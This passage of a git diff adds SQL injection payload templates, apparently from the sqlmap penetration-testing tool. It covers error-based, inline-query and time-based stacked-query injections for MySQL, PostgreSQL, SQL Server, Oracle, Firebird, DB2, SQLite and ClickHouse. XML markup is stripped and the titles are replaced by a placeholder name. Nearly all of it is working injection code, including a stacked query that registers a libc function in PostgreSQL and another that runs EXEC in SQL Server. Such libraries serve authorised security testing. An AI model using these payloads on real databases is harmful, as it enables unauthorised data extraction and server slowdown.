+ 1
+ 1,2,3,9
+ 3
+ GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
+
+ JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,2,3,9
+ 3
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,2,3,9
+ 3
+ (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))
+
+
+ (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,2,3,9
+ 3
+ (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))
+
+
+ (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1,2,3,9
+ 3
+ (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1,3
+ 3
+ (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))
+
+ (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
+
+ (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
+
+ (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 1,3
+ 3
+ RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)
+
+ ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)
+
+ ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)
+
+ ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 2,3
+ 1
+ ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+ ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 2,3
+ 1
+ ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+ ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+ ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
+
+ ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 4.1
+
+
+
+
+ Codestin Search App
+ 2
+ 3
+ 1
+ 2,3
+ 1
+ ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))
+
+ ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 2
+ 4
+ 1
+ 2,3
+ 1
+ ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 3
+ 1
+ ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
+
+ ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ Codestin Search App
+ 2
+ 5
+ 1
+ 3
+ 1
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+
+
+
+ Codestin Search App
+ 2
+ 2
+ 1
+ 1-8
+ 1
+ ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]
+
+ ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]
+ --
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml
new file mode 100644
index 0000000000..7269be695c
--- /dev/null
+++ b/data/xml/payloads/inline_query.xml
@@ -0,0 +1,157 @@
+
+
+
+
+
+ Codestin Search App
+ 3
+ 1
+ 1
+ 1,2,3,8
+ 3
+ (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))
+
+ (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+
+
+ Codestin Search App
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+ (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')
+
+ (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
+
+ (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3
+ (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)
+
+
+ (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 3
+ 3
+ 1
+ 1,2,3,8
+ 3
+ SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'
+
+ SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ SQLite
+
+
+
+
+ Codestin Search App
+ 3
+ 3
+ 1
+ 1,2,3,8
+ 3
+ SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE
+
+ SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ Codestin Search App
+ 3
+ 3
+ 1
+ 1,2,3,8
+ 3
+ ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
+
+ ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ ClickHouse
+
+
+
+
+
diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
new file mode 100644
index 0000000000..b431bb7849
--- /dev/null
+++ b/data/xml/payloads/stacked_queries.xml
@@ -0,0 +1,730 @@
+
+
+
+
+
+ Codestin Search App
+ 4
+ 2
+ 1
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ ;SELECT SLEEP([SLEEPTIME])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 4
+ 3
+ 1
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ ;SELECT SLEEP([SLEEPTIME])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 4
+ 3
+ 1
+ 1-8
+ 1
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 4
+ 3
+ 2
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+ #
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 4
+ 1
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;SELECT PG_SLEEP([SLEEPTIME])
+ --
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;SELECT PG_SLEEP([SLEEPTIME])
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 4
+ 2
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)
+ --
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 4
+ 3
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
+ --
+
+
+
+
+
+ PostgreSQL
+ < 8.2
+ Linux
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
+
+
+
+
+
+ PostgreSQL
+ < 8.2
+ Linux
+
+
+
+
+ Codestin Search App
+ 4
+ 1
+ 1
+ 1-8
+ 1
+ ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ ;WAITFOR DELAY '0:0:[SLEEPTIME]'
+ --
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 4
+ 2
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+ --
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ ;WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 4
+ 1
+ 1
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 2
+ 2
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL
+
+ ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END
+
+ ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 4
+ 3
+ 2
+ 1-8
+ 1
+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])
+
+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
+ --
+
+
+
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
